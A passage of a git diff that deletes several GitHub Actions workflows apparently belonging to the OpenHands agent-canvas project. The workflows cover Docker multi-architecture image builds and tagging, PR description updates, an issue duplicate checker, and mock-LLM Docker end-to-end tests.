refs/heads/* ]]; then - # Sanitize branch name for Docker tag safety: - # replace any char outside [a-zA-Z0-9._-] with -, strip leading/trailing .- - BRANCH="${RELEVANT_REF#refs/heads/}" - BRANCH=$(echo "$BRANCH" | tr -c 'a-zA-Z0-9._-' '-' | sed 's/^[-.]//; s/[-.]*$//') - add_tag "$BRANCH" - fi - - if [[ "${{ github.event_name }}" == "pull_request" ]]; then - add_tag "pr-${{ github.event.pull_request.number }}" - fi - - if [[ "$RELEVANT_REF" == refs/tags/v* ]]; then - VERSION="${RELEVANT_REF#refs/tags/v}" - add_tag "$VERSION" - - # Strip pre-release/build metadata for major.minor.patch derivation - VERSION_BASE="${VERSION%%-*}" - VERSION_BASE="${VERSION_BASE%%+*}" - - # Only create abbreviated + latest tags for stable (non-pre-release) versions - if [[ "$VERSION" != *"-"* ]] && [[ "$VERSION" != *"+"* ]]; then - # major.minor - MINOR="${VERSION_BASE%.*}" - if [ "$MINOR" != "$VERSION_BASE" ]; then - add_tag "$MINOR" - fi - # major - MAJOR="${VERSION_BASE%%.*}" - if [ "$MAJOR" != "$VERSION_BASE" ] && [ "$MAJOR" != "$MINOR" ]; then - add_tag "$MAJOR" - fi - add_tag "latest" - fi - fi - - echo "tags=$TAGS" >> "$GITHUB_OUTPUT" - - # Use the production PostHog config only for tagged releases; - # everything else (PR / main / local) uses staging. Both keys are - # public, client-side keys — not secrets — so they live in repo vars. - if [[ "$RELEVANT_REF" == refs/tags/v* ]]; then - echo "posthog_api_key=$POSTHOG_PROD_KEY" >> "$GITHUB_OUTPUT" - else - echo "posthog_api_key=$POSTHOG_STAGING_KEY" >> "$GITHUB_OUTPUT" - fi - - echo "=== Build outputs ===" - echo "Short SHA: $SHORT_SHA" - echo "Tags: $TAGS" - echo "====================" - - - name: Build & Push (${{ matrix.arch }}) - id: build - uses: docker/build-push-action@v7 - with: - context: . - file: docker/Dockerfile - platforms: ${{ matrix.platform }} - push: true - tags: ${{ steps.prep.outputs.tags }} - build-args: | - AGENT_SERVER_IMAGE=${{ steps.prep.outputs.agent_server_image }} - AUTOMATION_VERSION=${{ steps.prep.outputs.automation_version }} - AGENT_CANVAS_VERSION=${{ steps.config.outputs.agent_canvas_version }} - OPENHANDS_BUILD_GIT_SHA=${{ env.RELEVANT_SHA }} - OPENHANDS_BUILD_GIT_REF=${{ env.RELEVANT_REF }} - VITE_POSTHOG_API_KEY=${{ steps.prep.outputs.posthog_api_key }} - VITE_BASE_PATH=${{ steps.config.outputs.canvas_base_path }} - cache-from: type=gha - cache-to: type=gha,mode=max - provenance: true - sbom: true - - - name: Summary (${{ matrix.arch }}) - env: - TAGS: ${{ steps.prep.outputs.tags }} - run: | - echo "Image: $IMAGE" - echo "Architecture: ${{ matrix.arch }}" - echo "Platform: ${{ matrix.platform }}" - echo "Short SHA: ${{ steps.prep.outputs.short_sha }}" - echo "Tags: $TAGS" - echo "Build digest: ${{ steps.build.outputs.digest }}" - - - name: Save build info for consolidation - env: - TAGS: ${{ steps.prep.outputs.tags }} - AGENT_SERVER_IMAGE: ${{ steps.prep.outputs.agent_server_image }} - AUTOMATION_VERSION: ${{ steps.prep.outputs.automation_version }} - run: | - mkdir -p build-info - jq -n \ - --arg arch "${{ matrix.arch }}" \ - --arg image "$IMAGE" \ - --arg short_sha "${{ steps.prep.outputs.short_sha }}" \ - --arg tags "$TAGS" \ - --arg agent_server_image "$AGENT_SERVER_IMAGE" \ - --arg automation_version "$AUTOMATION_VERSION" \ - --arg platform "${{ matrix.platform }}" \ - --arg git_sha "${{ env.RELEVANT_SHA }}" \ - --arg git_ref "$RELEVANT_REF" \ - '{arch: $arch, image: $image, short_sha: $short_sha, tags: $tags, agent_server_image: $agent_server_image, automation_version: $automation_version, platform: $platform, git_sha: $git_sha, git_ref: $git_ref}' \ - > "build-info/${{ matrix.arch }}.json" - cat "build-info/${{ matrix.arch }}.json" - - - name: Upload build info artifact - uses: actions/upload-artifact@v7 - with: - name: build-info-${{ matrix.arch }} - path: build-info/${{ matrix.arch }}.json - retention-days: 1 - - # ═══════════════════════════════════════════════════════════════════════════ - # Merge Multi-Arch Manifests - # ═══════════════════════════════════════════════════════════════════════════ - merge-manifests: - name: Merge Multi-Arch Manifests - needs: build-and-push-image - if: > - github.event_name == 'push' || - github.event_name == 'workflow_dispatch' || - (github.event_name == 'pull_request' && - !github.event.pull_request.head.repo.fork) - runs-on: ubuntu-24.04 - steps: - - name: Download build info artifacts - uses: actions/download-artifact@v8 - with: - pattern: build-info-* - merge-multiple: true - path: build-info - - - name: Extract SHORT_SHA from build info - id: get_sha - run: | - SHORT_SHA=$(jq -r '.short_sha' build-info/amd64.json) - echo "short_sha=$SHORT_SHA" >> "$GITHUB_OUTPUT" - echo "Using SHORT_SHA: $SHORT_SHA" - - - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v4 - - - name: Log in to GHCR - uses: docker/login-action@v4.4.0 - with: - registry: ghcr.io - username: ${{ github.actor }} - password: ${{ secrets.GITHUB_TOKEN }} - - - name: Create and push multi-arch manifests - id: create_manifests - run: | - # Validate both architectures built successfully - if [[ ! -f build-info/amd64.json ]] || [[ ! -f build-info/arm64.json ]]; then - echo "::error::Missing architecture builds (need both amd64.json and arm64.json)" - echo "Available: $(ls -1 build-info/*.json 2>/dev/null || echo 'none')" - exit 1 - fi - - SHORT_SHA=${{ steps.get_sha.outputs.short_sha }} - AMD64_TAGS_CSV=$(jq -r '.tags' build-info/amd64.json) - declare -A SEEN_MANIFEST_TAGS=() - MANIFEST_TAGS=() - - create_manifest() { - local manifest_tag=$1 - local source_tag=${2:-$1} - - echo "Creating multi-arch manifest: ${IMAGE}:${manifest_tag}" - docker buildx imagetools create -t "${IMAGE}:${manifest_tag}" \ - "${IMAGE}:${source_tag}-amd64" \ - "${IMAGE}:${source_tag}-arm64" - - echo "Inspecting multi-arch manifest:" - docker buildx imagetools inspect "${IMAGE}:${manifest_tag}" - echo "✓ Multi-arch manifest created: ${IMAGE}:${manifest_tag}" - } - - IFS=',' read -ra AMD64_TAGS <<< "$AMD64_TAGS_CSV" - for AMD64_IMAGE_TAG in "${AMD64_TAGS[@]}"; do - if [ -z "$AMD64_IMAGE_TAG" ]; then - continue - fi - - TAG_NAME=${AMD64_IMAGE_TAG#${IMAGE}:} - if [ "$TAG_NAME" = "$AMD64_IMAGE_TAG" ] || [[ ! "$TAG_NAME" == *-amd64 ]]; then - echo "Skipping unexpected architecture tag: $AMD64_IMAGE_TAG" - continue - fi - - MANIFEST_TAG=${TAG_NAME%-amd64} - if [ -n "${SEEN_MANIFEST_TAGS[$MANIFEST_TAG]+x}" ]; then - continue - fi - - SEEN_MANIFEST_TAGS[$MANIFEST_TAG]=1 - MANIFEST_TAGS+=("$MANIFEST_TAG") - create_manifest "$MANIFEST_TAG" - done - - # `latest` multi-arch manifest is created automatically above when a - # stable version tag is pushed (the per-arch build adds `latest-{arch}` - # tags for non-pre-release tags, and the loop above merges them into a - # `latest` manifest). We intentionally do NOT alias main to latest here - # so that `latest` always points at the highest stable tagged release, - # not at unreleased main-branch code. - - MANIFEST_TAG_CSV=$(IFS=,; echo "${MANIFEST_TAGS[*]}") - echo "manifest_tags=$MANIFEST_TAG_CSV" >> "$GITHUB_OUTPUT" - - # Save manifest info for consolidation - mkdir -p manifest-info - jq -n \ - --arg image "$IMAGE" \ - --arg short_sha "$SHORT_SHA" \ - --arg manifest_tags "$MANIFEST_TAG_CSV" \ - '{image: $image, short_sha: $short_sha, manifest_tags: $manifest_tags}' \ - > manifest-info/manifests.json - cat manifest-info/manifests.json - - - name: Upload manifest info artifact - uses: actions/upload-artifact@v7 - with: - name: manifest-info - path: manifest-info/manifests.json - retention-days: 1 - - # ═══════════════════════════════════════════════════════════════════════════ - # Consolidate Build Information - # ═══════════════════════════════════════════════════════════════════════════ - consolidate-build-info: - name: Consolidate Build Information - needs: [build-and-push-image, merge-manifests] - if: github.event_name == 'pull_request' && always() && (needs.build-and-push-image.result == 'success' || needs.build-and-push-image.result == 'failure') - runs-on: ubuntu-24.04 - outputs: - build_summary: ${{ steps.consolidate.outputs.build_summary }} - - steps: - - name: Download build info artifacts - uses: actions/download-artifact@v8 - with: - pattern: build-info-* - merge-multiple: true - path: build-info - - - name: Download manifest info artifacts - uses: actions/download-artifact@v8 - with: - name: manifest-info - path: manifest-info - continue-on-error: true - - - name: Consolidate build information from artifacts - id: consolidate - run: | - echo "Processing build info artifacts..." - ls -la build-info/ - - IMAGE="" - SHORT_SHA="" - ALL_TAGS="" - AGENT_SERVER_IMAGE="" - AUTOMATION_VERSION="" - GIT_SHA="" - GIT_REF="" - ARCHS="" - - for info_file in build-info/*.json; do - if [[ ! -f "$info_file" ]]; then - continue - fi - echo "=== Processing $info_file ===" - cat "$info_file" - - ARCH=$(jq -r '.arch' "$info_file") - FILE_IMAGE=$(jq -r '.image' "$info_file") - FILE_SHA=$(jq -r '.short_sha' "$info_file") - FILE_TAGS=$(jq -r '.tags' "$info_file") - - if [[ -z "$IMAGE" ]]; then - IMAGE="$FILE_IMAGE" - SHORT_SHA="$FILE_SHA" - AGENT_SERVER_IMAGE=$(jq -r '.agent_server_image' "$info_file") - AUTOMATION_VERSION=$(jq -r '.automation_version' "$info_file") - GIT_SHA=$(jq -r '.git_sha' "$info_file") - GIT_REF=$(jq -r '.git_ref' "$info_file") - fi - - ARCHS="${ARCHS:+${ARCHS}, }${ARCH}" - - if [[ -n "$FILE_TAGS" ]]; then - TAG_LIST=$(echo "$FILE_TAGS" | tr ',' '\n') - ALL_TAGS="${ALL_TAGS:+${ALL_TAGS} - }${TAG_LIST}" - fi - done - - # Add manifest tags - if [[ -f "manifest-info/manifests.json" ]]; then - MANIFEST_TAG_CSV=$(jq -r '.manifest_tags' manifest-info/manifests.json) - MANIFEST_TAG_LIST=$(echo "$MANIFEST_TAG_CSV" | tr ',' '\n' | sed "s|^|${IMAGE}:|") - ALL_TAGS="${ALL_TAGS:+${ALL_TAGS} - }${MANIFEST_TAG_LIST}" - fi - - BUILD_SUMMARY=$(jq -n \ - --arg image "$IMAGE" \ - --arg short_sha "$SHORT_SHA" \ - --arg all_tags "$ALL_TAGS" \ - --arg archs "$ARCHS" \ - --arg agent_server_image "$AGENT_SERVER_IMAGE" \ - --arg automation_version "$AUTOMATION_VERSION" \ - --arg git_sha "$GIT_SHA" \ - --arg git_ref "$GIT_REF" \ - --arg ghcr_url "https://github.com/OpenHands/agent-canvas/pkgs/container/agent-canvas" \ - '{image: $image, short_sha: $short_sha, all_tags: $all_tags, architectures: $archs, agent_server_image: $agent_server_image, automation_version: $automation_version, git_sha: $git_sha, git_ref: $git_ref, ghcr_package_url: $ghcr_url}') - - echo "Consolidated build summary:" - echo "$BUILD_SUMMARY" | jq . - - { - echo 'build_summary<> "$GITHUB_OUTPUT" - - # ═══════════════════════════════════════════════════════════════════════════ - # Update PR description with image info (PRs only) - # ═══════════════════════════════════════════════════════════════════════════ - update-pr-description: - name: Update PR description with Docker image - needs: consolidate-build-info - if: github.event_name == 'pull_request' && needs.consolidate-build-info.result == 'success' - runs-on: ubuntu-24.04 - permissions: - contents: read - pull-requests: write - - steps: - - name: Generate PR description from build summary - id: generate_description - env: - BUILD_SUMMARY: ${{ needs.consolidate-build-info.outputs.build_summary }} - run: | - echo "Build summary received:" - echo "$BUILD_SUMMARY" | jq . - - IMAGE=$(echo "$BUILD_SUMMARY" | jq -r '.image') - SHORT_SHA=$(echo "$BUILD_SUMMARY" | jq -r '.short_sha') - GHCR_URL=$(echo "$BUILD_SUMMARY" | jq -r '.ghcr_package_url') - ALL_TAGS=$(echo "$BUILD_SUMMARY" | jq -r '.all_tags') - ARCHS=$(echo "$BUILD_SUMMARY" | jq -r '.architectures') - AGENT_SERVER_IMAGE=$(echo "$BUILD_SUMMARY" | jq -r '.agent_server_image') - AUTOMATION_VERSION=$(echo "$BUILD_SUMMARY" | jq -r '.automation_version') - GIT_SHA=$(echo "$BUILD_SUMMARY" | jq -r '.git_sha') - - PR_CONTENT=$(cat << EOF - - - --- - **🐳 Docker images for this PR** - - • **GHCR package:** ${GHCR_URL} - - | Component | Value | - |---|---| - | **Image** | \`${IMAGE}\` | - | **Architectures** | ${ARCHS} | - | **Agent Server** | \`${AGENT_SERVER_IMAGE}\` | - | **Automation** | \`openhands-automation==${AUTOMATION_VERSION}\` | - | **Commit** | \`${GIT_SHA}\` | - - **Pull (multi-arch manifest)** - \`\`\`bash - # Multi-arch manifest — Docker automatically pulls the correct architecture - docker pull ${IMAGE}:sha-${SHORT_SHA} - \`\`\` - - **Run** - \`\`\`bash - docker run -it --rm \\ - -p 8000:8000 \\ - ${IMAGE}:sha-${SHORT_SHA} - \`\`\` - - **All tags pushed for this build** - \`\`\` - ${ALL_TAGS} - \`\`\` - - **About Multi-Architecture Support** - - Each tag (e.g., \`sha-${SHORT_SHA}\`) is a **multi-arch manifest** supporting both **amd64** and **arm64** - - Docker automatically pulls the correct architecture for your platform - - Individual architecture tags (e.g., \`sha-${SHORT_SHA}-amd64\`) are also available if needed - - EOF - ) - - { - echo 'pr_content<> "$GITHUB_OUTPUT" - - - name: Update PR description with docker image details - uses: nefrob/pr-description@v1.3.0 - with: - content: ${{ steps.generate_description.outputs.pr_content }} - regex: ".*?" - regexFlags: s - token: ${{ secrets.GITHUB_TOKEN }} diff --git a/.github/workflows/issue-duplicate-checker.yml b/.github/workflows/issue-duplicate-checker.yml deleted file mode 100644 index 6acc15512..000000000 --- a/.github/workflows/issue-duplicate-checker.yml +++ /dev/null @@ -1,92 +0,0 @@ ---- -name: Issue Duplicate Check via OpenHands Cloud - -on: - issues: - types: [opened] - schedule: - - cron: 0 9 * * * - workflow_dispatch: - inputs: - mode: - description: Which workflow path to run - required: true - type: choice - options: - - smoke-clone - - issue-check - - auto-close - default: smoke-clone - issue_number: - description: Existing issue number to analyze when mode is issue-check - required: false - type: number - close_after_days: - description: Days to wait before auto-closing duplicate candidates in auto-close mode - required: false - type: number - default: 3 - -permissions: - contents: read - issues: write - -jobs: - smoke-clone: - if: github.event_name == 'workflow_dispatch' && inputs.mode == 'smoke-clone' - runs-on: ubuntu-latest - timeout-minutes: 5 - steps: - - name: Clone repository - env: - REPOSITORY: ${{ github.repository }} - run: | - git clone --depth 1 "https://github.com/${REPOSITORY}.git" /tmp/repo-clone - echo "REPO_HEAD=$(git -C /tmp/repo-clone rev-parse --short HEAD)" >> "$GITHUB_ENV" - - - name: Summarize smoke test - run: | - { - echo "## Smoke clone completed" - echo - echo "- Repository cloned to /tmp/repo-clone" - echo "- Repository HEAD: ${REPO_HEAD}" - } >> "$GITHUB_STEP_SUMMARY" - - issue-duplicate-check: - if: | - github.event_name == 'issues' || - (github.event_name == 'workflow_dispatch' && inputs.mode == 'issue-check' && inputs.issue_number != '') - runs-on: ubuntu-latest - timeout-minutes: 35 - concurrency: - group: issue-duplicate-check-${{ github.repository }}-${{ github.event.issue.number || inputs.issue_number }} - cancel-in-progress: false - steps: - - name: Run issue duplicate check - uses: OpenHands/extensions/plugins/issue-duplicate-checker@fb020c71eb8e7cd2678f0251ab24327d3738da7d - with: - mode: issue-check - repository: ${{ github.repository }} - issue-number: ${{ github.event.issue.number || inputs.issue_number }} - close-after-days: ${{ inputs.close_after_days || '3' }} - openhands-api-key: ${{ secrets.OPENHANDS_API_KEY }} - github-token: ${{ secrets.OPENHANDS_BOT_GITHUB_PAT_PUBLIC || github.token }} - - auto-close-duplicates: - if: | - github.event_name == 'schedule' || - (github.event_name == 'workflow_dispatch' && inputs.mode == 'auto-close') - runs-on: ubuntu-latest - timeout-minutes: 20 - concurrency: - group: auto-close-duplicates-${{ github.repository }} - cancel-in-progress: false - steps: - - name: Auto-close aged duplicate candidates - uses: OpenHands/extensions/plugins/issue-duplicate-checker@fb020c71eb8e7cd2678f0251ab24327d3738da7d - with: - mode: auto-close - repository: ${{ github.repository }} - close-after-days: ${{ inputs.close_after_days || '3' }} - github-token: ${{ secrets.OPENHANDS_BOT_GITHUB_PAT_PUBLIC || github.token }} diff --git a/.github/workflows/mock-llm-docker-e2e.yml b/.github/workflows/mock-llm-docker-e2e.yml deleted file mode 100644 index 3903dbd00..000000000 --- a/.github/workflows/mock-llm-docker-e2e.yml +++ /dev/null @@ -1,455 +0,0 @@ -name: Mock-LLM Docker E2E Tests - -# Runs the same mock-LLM E2E test specs as mock-llm-e2e.yml, but against -# the Docker image instead of the npm build path (bin/agent-canvas.mjs). -# -# Trigger chain: -# 1. workflow_run — fires automatically after the "Docker" workflow -# completes on main. The image is already built/pushed to GHCR. -# 2. pull_request — fires on every PR commit so required checks are never -# left pending by path filters. A lightweight detector skips the heavy -# Docker E2E job for docs-only/non-stack PRs. Fork PRs are skipped -# (no GHCR push). (workflow_run doesn't fire for new workflow files -# until they're on the default branch, so pull_request is needed for -# first-run PRs.) -# 3. workflow_dispatch — manual trigger with a custom image tag. - -on: - workflow_run: - workflows: ["Docker"] - types: [completed] - pull_request: - types: [opened, synchronize, reopened] - workflow_dispatch: - inputs: - docker_image: - description: "Docker image to test (e.g., ghcr.io/openhands/agent-canvas:sha-abc1234-amd64)" - type: string - default: "" - -# Concurrency: deduplicate runs for the same logical trigger. -# - pull_request: keyed by PR number (pushes to the same PR cancel earlier runs) -# - workflow_run: keyed by the triggering workflow's branch (e.g. "wr-main"), -# so multiple Docker builds completing on main don't pile up separate E2E runs -# - workflow_dispatch / fallback: keyed by ref -concurrency: - group: >- - mock-llm-docker-e2e-${{ - github.event.pull_request.number || - (github.event.workflow_run.id && format('wr-{0}', github.event.workflow_run.head_branch)) || - github.ref - }} - cancel-in-progress: true - -permissions: - contents: read - packages: read - pull-requests: write - actions: read - -jobs: - detect-pr-changes: - runs-on: ubuntu-24.04 - outputs: - should_run: ${{ steps.detect.outputs.should_run }} - steps: - - name: Detect PR changes relevant to Docker E2E - id: detect - env: - GITHUB_TOKEN: ${{ github.token }} - run: | - if [ "${{ github.event_name }}" != "pull_request" ]; then - echo "should_run=true" >> "$GITHUB_OUTPUT" - exit 0 - fi - - CHANGED_FILES=$(gh api \ - "/repos/${{ github.repository }}/pulls/${{ github.event.pull_request.number }}/files" \ - --paginate --jq '.[].filename') - - SHOULD_RUN=false - while IFS= read -r file; do - case "$file" in - src/*|public/*|scripts/*|bin/*|config/*|docker/*|tests/e2e/mock-llm/*|tests/e2e/support/*|package.json|package-lock.json|vite.config.ts|tsconfig.json|react-router.config.ts|playwright.mock-llm.config.ts|playwright.mock-llm-docker.config.ts|tailwind.config.js|hero.ts|.github/workflows/docker.yml|.github/workflows/mock-llm-docker-e2e.yml) - SHOULD_RUN=true - break - ;; - esac - done <<< "$CHANGED_FILES" - - echo "should_run=$SHOULD_RUN" >> "$GITHUB_OUTPUT" - - mock-llm-docker-e2e: - needs: detect-pr-changes - # workflow_run: only for main/master — validates the published image. - # PR branches are already covered by the pull_request trigger below; - # without this guard, both triggers fire for PRs, producing - # duplicate (and potentially contradictory) comment pairs. - # pull_request: skip fork PRs (no GHCR push). - # workflow_dispatch: always run. - if: >- - (github.event_name == 'workflow_dispatch' || - (github.event_name == 'workflow_run' && - github.event.workflow_run.conclusion == 'success' && - (github.event.workflow_run.head_branch == 'main' || - github.event.workflow_run.head_branch == 'master')) || - (github.event_name == 'pull_request' && - !github.event.pull_request.head.repo.fork)) && - (github.event_name != 'pull_request' || - needs.detect-pr-changes.outputs.should_run == 'true') - runs-on: ubuntu-24.04 - # Give the 20-minute Playwright test budget enough room for setup and reporting. - timeout-minutes: 25 - - env: - MOCK_LLM_REPORT_PATH: mock-llm-docker-report.md - MOCK_LLM_WORKFLOW_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} - - steps: - # ── Resolve which commit / PR to test ────────────────────────────── - - name: Resolve source context - id: ctx - env: - GITHUB_REF_VALUE: ${{ github.ref }} - run: | - if [ "${{ github.event_name }}" = "workflow_run" ]; then - # workflow_run only fires for main (job-level `if` guard), so - # this path always tests the main-branch Docker image. Never - # post PR comments — results go to the step summary only. - echo "sha=${{ github.event.workflow_run.head_sha }}" >> "$GITHUB_OUTPUT" - echo "ref=${{ github.event.workflow_run.head_sha }}" >> "$GITHUB_OUTPUT" - echo "pr_number=" >> "$GITHUB_OUTPUT" - elif [ "${{ github.event_name }}" = "pull_request" ]; then - echo "sha=${{ github.event.pull_request.head.sha }}" >> "$GITHUB_OUTPUT" - echo "ref=${{ github.event.pull_request.head.sha }}" >> "$GITHUB_OUTPUT" - echo "pr_number=${{ github.event.pull_request.number }}" >> "$GITHUB_OUTPUT" - else - echo "sha=${{ github.sha }}" >> "$GITHUB_OUTPUT" - echo "ref=$GITHUB_REF_VALUE" >> "$GITHUB_OUTPUT" - echo "pr_number=" >> "$GITHUB_OUTPUT" - fi - - - name: Check out repository - uses: actions/checkout@v7 - with: - ref: ${{ steps.ctx.outputs.ref }} - - - name: Read defaults from config/defaults.json - id: defaults - run: | - echo "agent_server_version=$(node -p "require('./config/defaults.json').versions.agentServer")" >> "$GITHUB_OUTPUT" - - - name: Resolve linked SDK PR - id: linked_sdk - if: github.event_name == 'pull_request' - env: - GITHUB_TOKEN: ${{ github.token }} - run: | - BODY=$(gh api "/repos/${{ github.repository }}/pulls/${{ github.event.pull_request.number }}" --jq '.body // ""') - SDK_PR=$( - printf '%s\n' "$BODY" \ - | grep -Eo 'OpenHands/software-agent-sdk(/pull/|#)[0-9]+' \ - | head -n1 \ - | grep -Eo '[0-9]+$' \ - || true - ) - if [ -z "$SDK_PR" ]; then - echo "No linked software-agent-sdk PR found in PR description." - exit 0 - fi - - # The matched number may belong to an issue rather than a PR — GitHub's - # "#NNNN" shorthand and "/pull/NNNN" URL text look identical for both in - # a PR description, but the /pulls/{number} endpoint 404s for an issue - # number. Degrade gracefully to "no linked PR" (falls back to the - # released SDK version below) instead of failing the job. - SDK_PR_JSON=$(gh api "/repos/OpenHands/software-agent-sdk/pulls/${SDK_PR}" 2>/dev/null) || { - echo "software-agent-sdk#${SDK_PR} is not an open PR (may be an issue) — using the released SDK version." - exit 0 - } - SDK_REF=$(jq -r '.head.ref' <<<"$SDK_PR_JSON") - SDK_SHA=$(jq -r '.head.sha' <<<"$SDK_PR_JSON") - echo "Using software-agent-sdk PR #${SDK_PR} branch: ${SDK_REF} (${SDK_SHA})" - echo "git_ref=${SDK_SHA}" >> "$GITHUB_OUTPUT" - - # ── Wait for Docker workflow (pull_request trigger only) ──────────── - # When triggered by pull_request, the Docker image may still be - # building. Poll the Docker workflow until it completes for this SHA. - - name: Wait for Docker workflow to complete - if: github.event_name == 'pull_request' - env: - GITHUB_TOKEN: ${{ github.token }} - run: | - SHA="${{ steps.ctx.outputs.sha }}" - echo "Waiting for Docker workflow to complete for SHA ${SHA}..." - - for i in $(seq 1 60); do - # Find the Docker workflow run for this exact commit - RUN=$(gh api \ - "/repos/${{ github.repository }}/actions/workflows/docker.yml/runs?head_sha=${SHA}&per_page=1" \ - --jq '.workflow_runs[0] // empty' 2>/dev/null || echo "") - - if [ -z "$RUN" ]; then - echo " Attempt $i: No Docker workflow run found yet for ${SHA}..." - sleep 15 - continue - fi - - STATUS=$(echo "$RUN" | jq -r '.status') - CONCLUSION=$(echo "$RUN" | jq -r '.conclusion // empty') - RUN_URL=$(echo "$RUN" | jq -r '.html_url') - - if [ "$STATUS" = "completed" ]; then - if [ "$CONCLUSION" = "success" ]; then - echo "Docker workflow completed successfully: $RUN_URL" - break - else - echo "::error::Docker workflow finished with conclusion '$CONCLUSION': $RUN_URL" - exit 1 - fi - fi - - echo " Attempt $i: Docker workflow status=$STATUS (${RUN_URL})" - sleep 15 - done - - # Final check — if we exhausted retries - if [ -z "${STATUS:-}" ]; then - echo "::error::No Docker workflow run found for SHA ${SHA} after 15 minutes" - exit 1 - elif [ "$STATUS" != "completed" ]; then - echo "::error::Docker workflow did not complete within 15 minutes (last status: $STATUS)" - exit 1 - fi - - # ── Resolve Docker image tag ─────────────────────────────────────── - - name: Resolve Docker image - id: image - env: - DOCKER_IMAGE_INPUT: ${{ inputs.docker_image }} - run: | - if [ -n "$DOCKER_IMAGE_INPUT" ]; then - echo "tag=$DOCKER_IMAGE_INPUT" >> "$GITHUB_OUTPUT" - else - SHORT_SHA=$(echo "${{ steps.ctx.outputs.sha }}" | cut -c1-7) - # Use the amd64-specific tag (always pushed by the Docker workflow). - echo "tag=ghcr.io/openhands/agent-canvas:sha-${SHORT_SHA}-amd64" >> "$GITHUB_OUTPUT" - fi - - - name: Log in to GHCR - uses: docker/login-action@v4.4.0 - with: - registry: ghcr.io - username: ${{ github.actor }} - password: ${{ secrets.GITHUB_TOKEN }} - - - name: Pull Docker image - env: - DOCKER_IMAGE_TAG: ${{ steps.image.outputs.tag }} - run: | - echo "Pulling $DOCKER_IMAGE_TAG..." - docker pull "$DOCKER_IMAGE_TAG" - - # ── Test infrastructure setup ────────────────────────────────────── - - name: Set up Node.js - uses: actions/setup-node@v7 - with: - # Pin to 24.15.x — Node 24.16.0 has a zip-extraction regression - # (nodejs/node#63487) that hangs `playwright install` for Playwright - # < 1.60.0. Remove this pin after upgrading to Playwright >= 1.60.0. - node-version: "24.15" - cache: npm - - - name: Install npm dependencies - run: npm ci - - - name: Get Playwright version - id: pw_version - run: echo "version=$(npx playwright --version | awk '{print $2}')" >> "$GITHUB_OUTPUT" - - - name: Cache Playwright browsers - id: pw_cache - uses: actions/cache@v6 - with: - path: ~/.cache/ms-playwright - key: playwright-${{ runner.os }}-${{ steps.pw_version.outputs.version }} - - - name: Install Playwright Chromium - if: steps.pw_cache.outputs.cache-hit != 'true' - run: npx playwright install chromium - - - name: Install Playwright system deps - run: npx playwright install-deps chromium - - - name: Install uv - run: | - curl -LsSf https://astral.sh/uv/install.sh | sh - echo "$HOME/.local/bin" >> "$GITHUB_PATH" - - - name: Install openhands-sdk (for mock LLM server) - env: - AGENT_SERVER_VERSION: ${{ steps.defaults.outputs.agent_server_version }} - SDK_GIT_REF: ${{ steps.linked_sdk.outputs.git_ref }} - run: | - uv venv .mock-llm-venv - if [ -n "$SDK_GIT_REF" ]; then - uv pip install -p .mock-llm-venv "git+https://github.com/OpenHands/software-agent-sdk@${SDK_GIT_REF}#subdirectory=openhands-sdk" - else - uv pip install -p .mock-llm-venv "openhands-sdk==$AGENT_SERVER_VERSION" - fi - - - name: Verify mock LLM server starts - run: | - .mock-llm-venv/bin/python3 tests/e2e/mock-llm/scripts/mock-llm-server.py --port 9998 & - SERVER_PID=$! - for i in $(seq 1 30); do - if curl -sf http://127.0.0.1:9998/v1/chat/completions \ - -H "Content-Type: application/json" \ - -d '{"model":"test","messages":[]}' > /dev/null 2>&1; then - echo "Mock LLM server responded on attempt $i" - break - fi - sleep 1 - done - curl -sf http://127.0.0.1:9998/v1/chat/completions \ - -H "Content-Type: application/json" \ - -d '{"model":"test","messages":[]}' | python3 -m json.tool - kill $SERVER_PID - - # ── Build frontend (needed by partial-stack tests) ───────────────── - # partial-stack tests spawn bin/agent-canvas.mjs directly (not through - # Docker) and require build/index.html to exist locally. The regular - # mock-llm-e2e workflow builds before running; we do the same here. - - name: Build frontend (for partial-stack tests) - run: npm run build:app - - # ── Run tests ────────────────────────────────────────────────────── - - name: Run mock-LLM Docker E2E tests - id: run_tests - env: - MOCK_LLM_PYTHON: .mock-llm-venv/bin/python3 - MOCK_LLM_DOCKER_IMAGE: ${{ steps.image.outputs.tag }} - MOCK_LLM_DOCKER_GLOBAL_TIMEOUT_MS: 1200000 - OH_AGENT_SERVER_GIT_REF: ${{ steps.linked_sdk.outputs.git_ref }} - run: | - set +e - MARKER_DIR=".mock-llm-markers" - DONE_MARKER="$MARKER_DIR/.tests-done" - PASS_MARKER="$MARKER_DIR/.all-passed" - rm -rf "$MARKER_DIR" - - # Run Playwright in background so our shell survives if we have - # to kill it (the Docker container teardown can hang). - npm run test:e2e:mock-llm:docker & - PW_PID=$! - - # Wait for tests to complete. Playwright's globalTimeout is 20 min - # in CI; add 60s buffer for container startup/teardown. - # .results.json is flushed after every single test, so even if we - # hit the deadline mid-suite the report script still has data. - deadline=$((SECONDS + (MOCK_LLM_DOCKER_GLOBAL_TIMEOUT_MS / 1000) + 60)) - while [ "$SECONDS" -lt "$deadline" ]; do - if ! kill -0 "$PW_PID" 2>/dev/null; then - break - fi - if [ -f "$DONE_MARKER" ]; then - echo "Tests completed: $(cat "$DONE_MARKER")" - break - fi - sleep 2 - done - - # If Playwright is still running (teardown hang or deadline hit), - # give it 5s grace then force-kill. - if kill -0 "$PW_PID" 2>/dev/null; then - sleep 5 - if kill -0 "$PW_PID" 2>/dev/null; then - if [ -f "$DONE_MARKER" ]; then - echo "::warning::Killing lingering Playwright process (teardown hung)" - else - echo "::warning::Killing Playwright process (deadline reached, tests still running)" - fi - kill "$PW_PID" 2>/dev/null - sleep 5 - kill -9 "$PW_PID" 2>/dev/null - fi - wait "$PW_PID" 2>/dev/null - pw_exit=124 - else - wait "$PW_PID" - pw_exit=$? - fi - - echo "Playwright exited with code $pw_exit" - - # When killed during teardown, the exit code is non-zero but - # tests may have passed. - if [ "$pw_exit" -ne 0 ] && [ -f "$PASS_MARKER" ]; then - echo "::notice::All tests passed (marker file present); non-zero exit was teardown-related" - pw_exit=0 - fi - - # Clean up the Docker container (belt-and-suspenders) - docker ps -q --filter "name=agent-canvas-mock-llm" | xargs -r docker stop 2>/dev/null || true - - echo "exit_code=$pw_exit" >> "$GITHUB_OUTPUT" - exit 0 - - # ── Reporting ────────────────────────────────────────────────────── - - name: Upload test artifacts - id: upload_artifacts - if: always() - uses: actions/upload-artifact@v7 - with: - name: mock-llm-docker-e2e-results - if-no-files-found: ignore - retention-days: 14 - path: | - 